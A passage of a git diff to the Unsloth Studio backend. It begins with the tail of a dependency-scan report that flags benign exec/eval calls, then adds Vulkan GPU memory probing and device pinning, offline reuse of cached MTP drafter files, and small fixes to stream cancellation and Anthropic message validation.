{num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612: if eval(_dtype) is not None: | L613: dtype = eval(_dtype) | L955: _modeling_file = eval(model_location) | L1255: f = eval(f\"{model_location}.{module}\") | L1563: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699: exec(f\"import {parent}\", locals(), globals()) | L2830: dir(eval(parent)), | L2834: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908: module = eval(f\"modeling_file.{module}\") | L2935: inner_class = eval(f\"modeling_file.{inner_class}\") | L3065: exec(f\"from timm.layers.norm_act import {norm}\") | L3073: forward = eval(norm).forward | L3079: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104: forward = eval(block).forward | L3110: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3389: exec(f\"import {model_location}\", globals()) | L3392: modeling_file = eval(model_location) | L3405: exec(\nL3406: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3407: ) | L3409: exec(\nL3410: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3411: globals(),\nL3412: locals(),\nL3413: ) | L3564: source = eval(f\"modeling_file.{module}\") | L3578: source = eval(f\"modeling_file.{module}\") | L3679: source = eval(f\"modeling_file.{module}\") | L3717: source = eval(f\"{model_location}.{module}\") | L3788: source = eval(f\"{model_location}.{module}\") | L3836: source = eval(f\"{model_location}.{module}\") | L4058: source = eval(f\"{model_location}.{module}\") | L4069: exec(\nL4070: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4071: globals(),\nL4072: ) | L4135: source = eval(f\"{model_location}.{module}\") | L4176: module_cls = eval(f\"{model_location}.{module}\") | L4213: module_cls = eval(f\"{model_location}.{module}\") | L4280: exec(\nL4281: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4282: globals(),\nL4283: ) | L4345: exec(inner_training_loop, globals()) | L4353: function = eval(f\"{model_location}.{module}\") | L4431: function = eval(f\"{model_location}.{module}\") | L4566: source = eval(f\"{model_location}.torch\") | L4573: function = eval(f\"source.nn.{module}\") | L4632: exec(\nL4633: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4634: globals(),\nL4635: locals(),\nL4636: ) | L4638: exec(\nL4639: f\"{model_location}.nn.{module}.forward = forward\",\nL4640: globals(),\nL4641: locals(),\nL4642: ) | L4646: exec(\nL4647: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4648: globals(),\nL4649: locals(),\nL4650: ) | L4652: exec(\nL4653: f\"combined_module.nn.{module}.forward = forward\",\nL4654: globals(),\nL4655: locals(),\nL4656: ) | L4673: exec(\nL4674: f\"{model_location}.{module} = combined_module.{module}\",\nL4675: globals(),\nL4676: locals(),\nL4677: ) | L4687: check_dicts = dir(eval(f\"{model_location}\")) | L4689: item = eval(f\"{model_location}.{check}\") | L4699: exec(\nL4700: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4701: globals(),\nL4702: locals(),\nL4703: )", + "evidence_hash": "ec1875fd32d00fe885e566ebda75163e46e838ca31020abb57e0991892c2bdf7" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/fused_losses/forward_install.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)", + "evidence_hash": "33b0c2ba90758a5ed84578c1d03364cb307f393e9fbb1da370ae06991e0dc7c4" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/mlx/loader.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L2869: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L148: mx.eval(model.parameters()) | L180: mx.eval(model.parameters()) | L732: mx.eval(model.parameters()) | L733: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L799: mx.eval(model.parameters()) | L802: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2673: model.eval() | L3256: mx.eval(model.parameters()) | L3372: mx.eval(module.weight) | L5666: mx.eval(model.parameters()) | L5716: mx.eval(model.parameters()) | L5859: mx.eval(model.parameters())", + "evidence_hash": "7b44760032c5df6d379ccfdd0bff3d23f857f64e08210fa0fba8d2881d457634" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/patching_utils.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L706: compile(new_source, '', 'exec')\nExec: L221: try: exec(_try_compile_argument) | L226: try: exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L571: exec(source, globals()) | L596: exec(\"from torch._dynamo.variables.misc import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L597: exec(source, globals()) | L686: exec(f\"from transformers.integrations.bitsandbytes import ({x})\", globals()) | L749: exec(source, globals())", + "evidence_hash": "f4c3d4a58360b4572b174f74d5250b661bb6b9ac942a07cca49cd42c23baf4c2" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/saving_utils.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L4015: module = __import__('transformers', fromlist=[model_class_name])\nExec: L3897: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3943: exec(save_pretrained, globals(), functions)", + "evidence_hash": "530b2383acd9fe8330aa65cd0bf86164aaacd47770e7c8d0752195bee36396ec" + }, + { + "package": "werkzeug", + "file": "werkzeug/routing/rules.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L836: code = compile(module, \"\", \"exec\")\nExec: L736: exec(code, globs, locs)", + "evidence_hash": "5c0992c90f05c772abd94d00784f157de337e1f8567f8b3aee1b15e46c96cd5d" + } + ] } diff --git a/studio/backend/core/inference/_vulkan_probe.py b/studio/backend/core/inference/_vulkan_probe.py new file mode 100644 index 0000000000..706346daad --- /dev/null +++ b/studio/backend/core/inference/_vulkan_probe.py @@ -0,0 +1,110 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Standalone free-VRAM probe for the bundled ggml Vulkan backend. + +Run in a short-lived subprocess (``python _vulkan_probe.py ``) so the +Vulkan instance never lives in the long-running backend process. Loads the +bundled ggml Vulkan backend from ```` and prints one +``\\t\\t\\t`` line per device to stdout. +Indices are ggml's own Vulkan device ordinals, which need not match nvidia-smi +order. ``is_igpu`` (from ggml's device type) is ``1`` for an integrated GPU +sharing system RAM. ``total_bytes`` is the device-local heap; the reader uses +it to reserve absolute headroom on a discrete card (parity with the CUDA/ROCm +fit) and ignores it for an iGPU, whose "VRAM" is shared system RAM. + +Uses only the standard library so it stays runnable as a bare script. +""" + +import ctypes +import os +import sys + +# ggml_backend_dev_type enum (ggml-backend.h): CPU=0, GPU=1, IGPU=2, ... +_GGML_BACKEND_DEVICE_TYPE_IGPU = 2 + + +def _igpu_flags(base, lib, count: int) -> list[bool]: + """Per-device integrated-GPU flags via ggml's backend registry. + + The Vulkan reg enumerates devices in the same order as + ``ggml_backend_vk_get_device_memory`` (each context uses ``ctx->device = + i``), so reg index == device ordinal. Returns all-False on any failure so + the reader never over-caps a discrete card. + """ + flags = [False] * count + try: + lib.ggml_backend_vk_reg.restype = ctypes.c_void_p + lib.ggml_backend_vk_reg.argtypes = [] + base.ggml_backend_reg_dev_count.restype = ctypes.c_size_t + base.ggml_backend_reg_dev_count.argtypes = [ctypes.c_void_p] + base.ggml_backend_reg_dev_get.restype = ctypes.c_void_p + base.ggml_backend_reg_dev_get.argtypes = [ctypes.c_void_p, ctypes.c_size_t] + base.ggml_backend_dev_type.restype = ctypes.c_int + base.ggml_backend_dev_type.argtypes = [ctypes.c_void_p] + + reg = lib.ggml_backend_vk_reg() + if not reg: + return flags + dev_count = base.ggml_backend_reg_dev_count(reg) + for i in range(min(count, dev_count)): + dev = base.ggml_backend_reg_dev_get(reg, i) + if dev: + flags[i] = base.ggml_backend_dev_type(dev) == _GGML_BACKEND_DEVICE_TYPE_IGPU + except Exception: + # Best-effort: any failure degrades to "discrete" so the memory + # readings still get through instead of crashing the probe. + pass + return flags + + +def main() -> int: + if len(sys.argv) < 2: + return 0 + bindir = sys.argv[1] + + # Hold add_dll_directory's handle for the rest of main() (the documented + # idiom) so bindir stays on the search path while the sibling ggml DLLs + # resolve below. + _dll_dir = None + if sys.platform == "win32": + base_name, vk_name = "ggml-base.dll", "ggml-vulkan.dll" + try: + _dll_dir = os.add_dll_directory(bindir) + except Exception: + pass + else: + base_name, vk_name = "libggml-base.so", "libggml-vulkan.so" + + # RTLD_GLOBAL exposes ggml-base's symbols to ggml-vulkan on POSIX. getattr + # falls back to 0 where the flag doesn't exist (Windows CDLL ignores mode). + _rtld_global = getattr(ctypes, "RTLD_GLOBAL", 0) + try: + base = ctypes.CDLL(os.path.join(bindir, base_name), mode = _rtld_global) + lib = ctypes.CDLL(os.path.join(bindir, vk_name), mode = _rtld_global) + except OSError as e: + print(f"ggml-vulkan load failed: {e}", file = sys.stderr) + return 1 + + lib.ggml_backend_vk_get_device_count.restype = ctypes.c_int + lib.ggml_backend_vk_get_device_count.argtypes = [] + lib.ggml_backend_vk_get_device_memory.restype = None + lib.ggml_backend_vk_get_device_memory.argtypes = [ + ctypes.c_int, + ctypes.POINTER(ctypes.c_size_t), + ctypes.POINTER(ctypes.c_size_t), + ] + + count = lib.ggml_backend_vk_get_device_count() + igpu = _igpu_flags(base, lib, count) + rows = [] + for i in range(count): + free, total = ctypes.c_size_t(0), ctypes.c_size_t(0) + lib.ggml_backend_vk_get_device_memory(i, ctypes.byref(free), ctypes.byref(total)) + rows.append("%d\t%d\t%d\t%d" % (i, free.value, int(igpu[i]), total.value)) + sys.stdout.write("\n".join(rows)) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py index f61402aa5c..c2e3adf815 100644 --- a/studio/backend/core/inference/llama_cpp.py +++ b/studio/backend/core/inference/llama_cpp.py @@ -100,6 +100,10 @@ class LlamaServerNotFoundError(RuntimeError): Subclasses RuntimeError so existing handlers still catch it.""" +class _LlamaStreamCancelled(Exception): + """Internal signal for an expected client/request cancellation.""" + + # Shared so the from_identifier preflight and the load-time raise stay in sync. LLAMA_SERVER_NOT_FOUND_DETAIL = ( "This is a GGUF model, but the llama.cpp runtime (llama-server) is not " @@ -1436,6 +1440,50 @@ def _backfill_usage_from_timings(usage, timings): return out +def _vulkan_lib_filename() -> str: + return "ggml-vulkan.dll" if sys.platform == "win32" else "libggml-vulkan.so" + + +# Host RAM to leave free on an integrated GPU, matching llama.cpp's own --fit +# margin (default 1024 MiB per device). ggml reports an iGPU's "VRAM" as shared +# system RAM, so hold back the same margin rather than inventing a larger one. +_IGPU_HOST_RESERVE_MIB = 1024 + + +def _apply_igpu_host_reserve_mib(free_mib: int, is_igpu: bool) -> int: + """Reserve host headroom on an integrated (shared-memory) Vulkan GPU. + + An iGPU's reported free "VRAM" is really free system RAM, so sizing + context/offload against all of it would push the host into swap or the OOM + killer. Leave the same margin llama.cpp's --fit uses. ``is_igpu`` comes from + ggml's device type, so a discrete card is never touched; only ever reduces. + """ + if not is_igpu: + return free_mib + return max(0, free_mib - _IGPU_HOST_RESERVE_MIB) + + +def _llama_lib_dir(binary: str) -> Path: + # The installer exposes llama-server as a top-level entrypoint into build/bin/, + # where the ggml backend libs live, so callers looking for sibling libs (Vulkan + # detection, LD_LIBRARY_PATH, probe bindir) need the real dir. It is normally a + # symlink (resolve() reaches build/bin), but create_exec_entrypoint falls back to + # a shell wrapper (exec "$(dirname "$0")/build/bin/llama-server" "$@") when it + # cannot symlink, and resolve() stops at the wrapper file. Follow the wrapper's + # exec target too, so a wrapper-based install still finds build/bin. + resolved = Path(binary).resolve() + try: + with open(resolved, "rb") as _f: + _head = _f.read(256) + if _head.startswith(b"#!"): + _m = re.search(r'exec "\$\(dirname "\$0"\)/([^"]+)"', _head.decode("utf-8", "ignore")) + if _m: + return (resolved.parent / _m.group(1)).resolve().parent + except OSError: + pass + return resolved.parent + + def _is_external_link(path: Path) -> bool: """True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink or a Windows directory junction / reparse point. Such a link resolves into @@ -2278,6 +2326,30 @@ class LlamaCppBackend: return total + @staticmethod + def _is_vulkan_backend(binary: Optional[str] = None) -> bool: + """True if the installed llama.cpp build is Vulkan-only. + + The official prebuilts are single-backend, so the Vulkan ggml lib next + to llama-server identifies a Vulkan build. Keeps the free-memory probe + and GPU pin in ggml's Vulkan device-index space. For a custom + multi-backend build with a CUDA or HIP ggml lib alongside Vulkan, defer + to that backend (torch-usable, better-understood probe/pin). + """ + binary = binary or LlamaCppBackend._find_llama_server_binary() + if not binary: + return False + lib_dir = _llama_lib_dir(binary) + if not (lib_dir / _vulkan_lib_filename()).is_file(): + return False + for _backend in ("cuda", "hip"): + sibling = ( + f"ggml-{_backend}.dll" if sys.platform == "win32" else f"libggml-{_backend}.so" + ) + if (lib_dir / sibling).is_file(): + return False + return True + @staticmethod def _resolve_visible_physical_ids() -> Optional[list[int]]: """Physical GPU ids behind the active visibility mask (HIP/ROCR/CUDA on @@ -2440,11 +2512,42 @@ class LlamaCppBackend: return True @staticmethod - def _get_gpu_free_memory() -> list[tuple[int, int]]: + def _visible_devices_mask(env_name: str) -> Optional[set[int]]: + """Physical indices a ``*_VISIBLE_DEVICES`` mask permits, or None if unset. + + ``if x.strip()`` filters trailing-comma masks ("0,1,"); an empty mask + ("") yields an empty set (all devices hidden), distinct from an unset + var (None, no mask). Used by the nvidia-smi probe. + """ + raw = os.environ.get(env_name) + if raw is None: + return None + try: + return set(int(x.strip()) for x in raw.split(",") if x.strip()) + except ValueError: + return None + + @staticmethod + def _vulkan_pin_args(gpu_indices: Optional[Iterable[int]]) -> list[str]: + """``--device Vulkan,...`` to pin a Vulkan launch to selected GPUs. + + The indices are ggml's compact Vulkan ordinals (as _get_gpu_free_memory + reports and the registry names ``Vulkan``). Pin by that name, NOT via + GGML_VK_VISIBLE_DEVICES: ggml parses that env var in the raw + vkEnumeratePhysicalDevices space (before dropping CPU/llvmpipe devices + and deduplicating ICDs), so a compact ordinal there could select a + different physical device or the CPU rasterizer. + """ + if not gpu_indices: + return [] + return ["--device", ",".join(f"Vulkan{i}" for i in gpu_indices)] + + @staticmethod + def _get_gpu_free_memory(binary: Optional[str] = None) -> list[tuple[int, int]]: """Query free memory per GPU. Returns ``(gpu_index, free_mib)`` sorted by index; empty if no supported GPU is reachable. Thin wrapper over ``_get_gpu_memory`` for callers that only need free VRAM.""" - return [(idx, free) for idx, free, _total in LlamaCppBackend._get_gpu_memory()] + return [(idx, free) for idx, free, _total in LlamaCppBackend._get_gpu_memory(binary)] @staticmethod def _apple_metal_memory_budget_bytes() -> int: @@ -2475,7 +2578,7 @@ class LlamaCppBackend: return int(rec_bytes * _APPLE_UNIFIED_MEMORY_FRACTION) @staticmethod - def _get_gpu_memory() -> list[tuple[int, int, int]]: + def _get_gpu_memory(binary: Optional[str] = None) -> list[tuple[int, int, int]]: """Query free AND total memory per GPU. Order: @@ -2487,9 +2590,18 @@ class LlamaCppBackend: probe returned [] on AMD) and NVIDIA hosts missing ``nvidia-smi`` from PATH. + On a Vulkan build the ggml Vulkan probe is authoritative, so the indices + are ggml's compact Vulkan ordinals (the space the pin selects via + ``--device Vulkan``). It reports ``total`` for discrete cards and 0 + for an iGPU (shared RAM) so the fit falls back to free*frac there. + Otherwise nvidia-smi / torch cover NVIDIA + AMD ROCm. + Returns (gpu_index, free_mib, total_mib) sorted by index; empty if no - supported GPU is reachable. ``total`` lets the fit reserve absolute headroom. + supported GPU is reachable. """ + binary = binary or LlamaCppBackend._find_llama_server_binary() + if LlamaCppBackend._is_vulkan_backend(binary): + return LlamaCppBackend._get_gpu_free_memory_vulkan(binary) # ── NVIDIA via nvidia-smi ──────────────────────────────────── try: result = subprocess.run( @@ -2505,16 +2617,7 @@ class LlamaCppBackend: **_windows_hidden_subprocess_kwargs(), ) if result.returncode == 0: - allowed: Optional[set[int]] = None - cvd = os.environ.get("CUDA_VISIBLE_DEVICES") - if cvd is not None: - try: - # `if x.strip()` filters trailing-comma masks ("0,1,"). - # Empty mask (CVD="") yields an empty set -> all GPUs - # filtered out, per codebase convention. - allowed = set(int(x.strip()) for x in cvd.split(",") if x.strip()) - except ValueError: - pass + allowed = LlamaCppBackend._visible_devices_mask("CUDA_VISIBLE_DEVICES") gpus: list[tuple[int, int, int]] = [] for line in result.stdout.strip().splitlines(): parts = [p.strip() for p in line.split(",")] @@ -2579,6 +2682,91 @@ class LlamaCppBackend: logger.debug(f"torch GPU probe failed: {e}") return [] + @staticmethod + def _get_gpu_free_memory_vulkan(binary: Optional[str] = None) -> list[tuple[int, int, int]]: + """Query free (and total) VRAM per device via the bundled ggml Vulkan backend. + + Loads ``libggml-vulkan`` in a short-lived subprocess (no Vulkan instance + in this process) and returns (device_index, free_mib, total_mib) sorted + by index. The index is ggml's compact Vulkan ordinal -- the one the + registry names ``Vulkan`` and load_model pins with ``--device``, + NOT the raw ``GGML_VK_VISIBLE_DEVICES`` space. A user-set + ``GGML_VK_VISIBLE_DEVICES`` is honored by ggml (passed through), so the + list already reflects it. iGPUs leave a host-RAM margin (see + ``_apply_igpu_host_reserve_mib``) and report total 0; discrete cards pass + their real total through. [] when no Vulkan build or device is reachable. + """ + binary = binary or LlamaCppBackend._find_llama_server_binary() + if not binary: + return [] + binary_dir = _llama_lib_dir(binary) + if not (binary_dir / _vulkan_lib_filename()).is_file(): + return [] + + env = child_env_without_native_path_secret() + # Pass any inherited GGML_VK_VISIBLE_DEVICES through to ggml unchanged so + # the probe enumerates the same device list the launch will, named + # Vulkan0..N in the compact order reported here and pinned by that name + # via --device -- probe, mask, and pin stay in one index space. Do NOT + # filter the mask in Python: ggml parses the env var in raw + # vkEnumeratePhysicalDevices space while this probe reports the compact + # post-filter ordinal, so a Python filter would compare mismatched spaces. + if sys.platform != "win32": + # Let the loader resolve sibling ggml libs next to the binary. + existing_ld = env.get("LD_LIBRARY_PATH", "") + env["LD_LIBRARY_PATH"] = ( + f"{binary_dir}:{existing_ld}" if existing_ld else str(binary_dir) + ) + probe_script = Path(__file__).with_name("_vulkan_probe.py") + try: + result = subprocess.run( + [sys.executable, str(probe_script), str(binary_dir)], + capture_output = True, + text = True, + timeout = 15, + env = env, + **_windows_hidden_subprocess_kwargs(), + ) + if result.returncode != 0: + logger.debug( + f"vulkan GPU probe exited {result.returncode}: {result.stderr.strip()}" + ) + return [] + except Exception as e: + logger.debug(f"vulkan GPU probe failed: {e}") + return [] + + gpus: list[tuple[int, int, int]] = [] + for line in result.stdout.strip().splitlines(): + parts = line.split("\t") + if len(parts) != 4: + continue + try: + idx = int(parts[0]) + free_mib = int(parts[1]) // (1024 * 1024) + is_igpu = parts[2] == "1" + # iGPU "total" is shared RAM, not a VRAM budget -> keep 0 so the + # fit stays on free*frac (the host reserve below is its + # headroom); a discrete card passes its real total through. + total_mib = 0 if is_igpu else int(parts[3]) // (1024 * 1024) + except ValueError: + continue + capped = _apply_igpu_host_reserve_mib(free_mib, is_igpu) + if capped < free_mib: + logger.info( + f"Vulkan device VK{idx} is an integrated GPU sharing system " + f"RAM; reserving {free_mib - capped}MiB host headroom " + f"({free_mib}->{capped}MiB usable)" + ) + gpus.append((idx, capped, total_mib)) + gpus.sort(key = lambda g: g[0]) + if gpus: + logger.info( + "Vulkan GPU memory detected: " + + ", ".join(f"VK{idx}={free}MiB" for idx, free, _total in gpus) + ) + return gpus + @staticmethod def _available_system_memory_mib() -> Optional[int]: """Available system RAM in MiB (psutil, then /proc/meminfo), or None if @@ -2807,7 +2995,8 @@ class LlamaCppBackend: def _llama_server_env_for_binary(binary: str) -> dict[str, str]: """Build a subprocess env that lets llama-server resolve native libs.""" env = child_env_without_native_path_secret() - binary_dir = str(Path(binary).parent) + # _llama_lib_dir resolves the llama-server symlink to the real build/bin. + binary_dir = str(_llama_lib_dir(binary)) if sys.platform == "win32": # Ordering: see _build_windows_path_dirs. #5106. @@ -4488,6 +4677,29 @@ class LlamaCppBackend: cancel_event = cancel_event, ) + def _cached_repo_mtp_drafter(self, hf_repo: str) -> Optional[str]: + """A drafter already in this repo's local HF cache, reused offline when a + fresh copy can't be fetched. Prefers a repo-root ``mtp-*.gguf`` across all + cached snapshots; else an existing ``MTP/`` copy (any precision -- the + target verifies every drafted token). None if none is cached.""" + try: + from utils.models.model_config import _iter_hf_cache_snapshots + + roots: list[Path] = [] + subdirs: list[Path] = [] + for snap in _iter_hf_cache_snapshots(hf_repo): # newest first + for f in sorted(_gguf_snapshot_files(snap)): + if _is_companion_gguf_path(f) and "mmproj" not in f.lower(): + (roots if "/" not in f else subdirs).append(snap / f) + # Keep snapshot order (newest first), root before any MTP/ copy, so a + # newer main GGUF pairs with the newest cached drafter, not a stale one. + for cand in roots + subdirs: + if cand.is_file(): + return str(cand) + except Exception as e: + logger.debug("Cached MTP drafter lookup failed for %s: %s", hf_repo, e) + return None + def _download_mtp( self, *, @@ -4504,11 +4716,25 @@ class LlamaCppBackend: are intentionally skipped. Returns the local path, or None. """ + # Offline, reuse any drafter already on disk (a fresh copy can't be + # fetched). Online, _download_companion_gguf/hf_hub_download reuse the + # current cached file and refetch a changed one, so skip the probe here + # rather than pair new weights with a stale draft. + if _hf_env_offline(): + cached = self._cached_repo_mtp_drafter(hf_repo) + if cached: + logger.info(f"Reusing cached MTP drafter (offline): {cached}") + return cached + def _pick_mtp(candidates: list[str]) -> Optional[str]: + # Root-level only: MTP/ subdir copies now share the mtp- prefix but + # are explicit-selection, not auto-fetch (they'd sort ahead of root). mtp_files = sorted( f for f in candidates - if f.lower().endswith(".gguf") and Path(f).name.lower().startswith("mtp-") + if f.lower().endswith(".gguf") + and "/" not in f + and Path(f).name.lower().startswith("mtp-") ) return mtp_files[0] if mtp_files else None @@ -5210,6 +5436,7 @@ class LlamaCppBackend: # Resolve llama-server now but defer a not-found error: a block-diffusion # GGUF uses the diffusion runner, and its arch is only known after the header. binary = self._find_llama_server_binary() + is_vulkan_backend = self._is_vulkan_backend(binary) # ── Phase 2: download (NO lock held, so cancel can proceed) ── # mtp_draft_path arrives set for local Gemma loads (detected @@ -5449,7 +5676,8 @@ class LlamaCppBackend: model_size = gguf_size + mmproj_size # 2-tuple gpus for existing logic + a total map for the absolute # per-GPU headroom (correct when the GPU is already partly used). - _gpu_mem = self._get_gpu_memory() + # Pass binary so a Vulkan build probes ggml's Vulkan ordinals. + _gpu_mem = self._get_gpu_memory(binary) gpus = [(idx, free) for idx, free, _t in _gpu_mem] total_by_idx = {idx: total for idx, _f, total in _gpu_mem} @@ -6222,7 +6450,12 @@ class LlamaCppBackend: # cap, not the ROCm-reported VRAM, is the real ceiling); refuse an # oversize load the OS would otherwise kill mid-flight. Base model # only: an optional MTP drafter is dropped by the MTP-drop fallback. - if model_size is not None and self._amd_apu_wants_unified_memory(gpu_indices): + # CUDA/ROCm ids only; a Vulkan build's gpu_indices are ggml ordinals. + if ( + model_size is not None + and not is_vulkan_backend + and self._amd_apu_wants_unified_memory(gpu_indices) + ): _ram_msg = self._apu_ram_shortfall_message( model_size, self._available_system_memory_mib() ) @@ -6485,6 +6718,12 @@ class LlamaCppBackend: ", ".join(unsupported_cache_flags), ) + # Vulkan pins via --device (a cmd arg, unlike the env-based + # CUDA/ROCm pin below), emitted BEFORE user extras so llama.cpp's + # last-wins parsing lets a user --device override Studio's pick. + if is_vulkan_backend and gpu_indices is not None: + cmd += LlamaCppBackend._vulkan_pin_args(gpu_indices) + # User pass-through args go last so llama.cpp's last-wins parsing # lets the user override Studio's auto-set flags. Already # validated by the route via validate_extra_args(). @@ -6536,23 +6775,25 @@ class LlamaCppBackend: env.setdefault("OMP_NUM_THREADS", "2") # AMD unified-memory APUs (gfx1150/gfx1151): let llama.cpp use - # shared system RAM. setdefault so a user value wins. - if self._amd_apu_wants_unified_memory(gpu_indices): + # shared system RAM. setdefault so a user value wins. Not on Vulkan + # (nor DC below): gpu_indices are ggml ordinals, not CUDA/ROCm ids. + if not is_vulkan_backend and self._amd_apu_wants_unified_memory(gpu_indices): env.setdefault("GGML_CUDA_ENABLE_UNIFIED_MEMORY", "1") logger.info("AMD unified-memory APU: set GGML_CUDA_ENABLE_UNIFIED_MEMORY=1") # DC NVIDIA GPUs: FP32 accum (+ P2P / launch queues for multi-GPU). # See _apply_datacenter_env; opt out with UNSLOTH_DISABLE_DC_TUNING=1. - if self._apply_datacenter_env(env, gpu_indices): + if not is_vulkan_backend and self._apply_datacenter_env(env, gpu_indices): multi_gpu = self._effective_gpu_count(gpu_indices) > 1 logger.info( f"Data-center GPU detected: applied DC llama.cpp env tuning (multi_gpu={multi_gpu})" ) # Pin to selected GPU(s). On ROCm, narrowing only - # CUDA_VISIBLE_DEVICES leaves an AMD child seeing the full - # set, so set HIP_VISIBLE_DEVICES too. - if gpu_indices is not None: + # CUDA_VISIBLE_DEVICES leaves an AMD child seeing the full set, so + # set HIP_VISIBLE_DEVICES too. Vulkan is pinned via --device + # (above), not here. + if gpu_indices is not None and not is_vulkan_backend: pinned = ",".join(str(i) for i in gpu_indices) env["CUDA_VISIBLE_DEVICES"] = pinned try: @@ -8379,7 +8620,7 @@ class LlamaCppBackend: ): """Open one streaming POST and let cancel interrupt prefill or reads.""" if cancel_event is not None and cancel_event.is_set(): - raise GeneratorExit + raise _LlamaStreamCancelled _cancel_closed = threading.Event() _response_ref: list = [None] @@ -8424,13 +8665,13 @@ class LlamaCppBackend: ) as response: _response_ref[0] = response if cancel_event is not None and cancel_event.is_set(): - raise GeneratorExit + raise _LlamaStreamCancelled yield response return except (httpx.RequestError, RuntimeError): # Response was closed by the cancel watcher if cancel_event is not None and cancel_event.is_set(): - raise GeneratorExit + raise _LlamaStreamCancelled raise finally: _cancel_closed.set() @@ -8633,6 +8874,8 @@ class LlamaCppBackend: "finish_reason": _metadata_finish_reason, } + except _LlamaStreamCancelled: + return except httpx.ConnectError as e: # Server already down. If this was an MTP+tensor crash, recover by # reloading without MTP (scheduled in the background) and fail this @@ -9757,6 +10000,8 @@ class LlamaCppBackend: break continue + except _LlamaStreamCancelled: + return except httpx.ConnectError: # Mark unresolved provisional cards as failed before raising. for _pid, _pname in provisional_started_tool_calls.items(): @@ -9939,6 +10184,8 @@ class LlamaCppBackend: if _meta is not None: yield _meta + except _LlamaStreamCancelled: + return except httpx.ConnectError: raise RuntimeError("Lost connection to llama-server") except Exception as e: diff --git a/studio/backend/hub/utils/gguf_plan.py b/studio/backend/hub/utils/gguf_plan.py index 2abdb0fb79..18daa4f84e 100644 --- a/studio/backend/hub/utils/gguf_plan.py +++ b/studio/backend/hub/utils/gguf_plan.py @@ -102,16 +102,17 @@ def preferred_mmproj_sibling(siblings: Sequence) -> Optional[object]: def preferred_mtp_sibling(siblings: Sequence) -> Optional[object]: """The separate MTP drafter to fetch with every variant: the repo-root ``mtp-*.gguf`` copy unsloth ships for llama.cpp ``-hf`` auto-discovery - (Gemma 4). Same pick as the loader's drafter resolution (``mtp-`` basename - prefix, first in sort order) so download and load resolve the same file; - the higher-precision ``MTP/`` subdir copies are for explicit selection and - are not auto-fetched. None for repos with the head baked into the main - GGUF (Qwen).""" + (Gemma 4). Same pick as the loader's drafter resolution (root-level + ``mtp-`` prefix, first in sort order) so download and load resolve the same + file; the higher-precision ``MTP/`` subdir copies are for explicit + selection and are not auto-fetched. None for repos with the head baked into + the main GGUF (Qwen).""" + # Root-level only: the MTP/ subdir copies now share the mtp- prefix too. candidates = sorted( ( s for s in siblings - if (name := _gguf_rfilename(s)) and name.lower().rsplit("/", 1)[-1].startswith("mtp-") + if (name := _gguf_rfilename(s)) and "/" not in name and name.lower().startswith("mtp-") ), key = lambda s: getattr(s, "rfilename"), ) diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py index a298952c1f..2b35d29092 100644 --- a/studio/backend/models/inference.py +++ b/studio/backend/models/inference.py @@ -1533,12 +1533,41 @@ class AnthropicToolResultBlock(BaseModel): tool_use_id: str content: Union[str, list] = "" + @field_validator("content", mode = "before") + @classmethod + def _coerce_null_content(cls, v): + # Some clients send null content for an empty tool result; the str|list + # union would 400 on it, so treat null as "". + return "" if v is None else v + + +# Block types the converter translates explicitly. Anything else (thinking / +# redacted_thinking, a provider block a resumed session replays, or a future type) +# is accepted as an unknown block and dropped by the converter, rather than 400-ing +# the whole request on strict validation. +_KNOWN_ANTHROPIC_BLOCK_TYPES = frozenset({"text", "image", "tool_use", "tool_result"}) + + +class AnthropicUnknownBlock(BaseModel): + type: str + model_config = {"extra": "allow"} + + @field_validator("type") + @classmethod + def 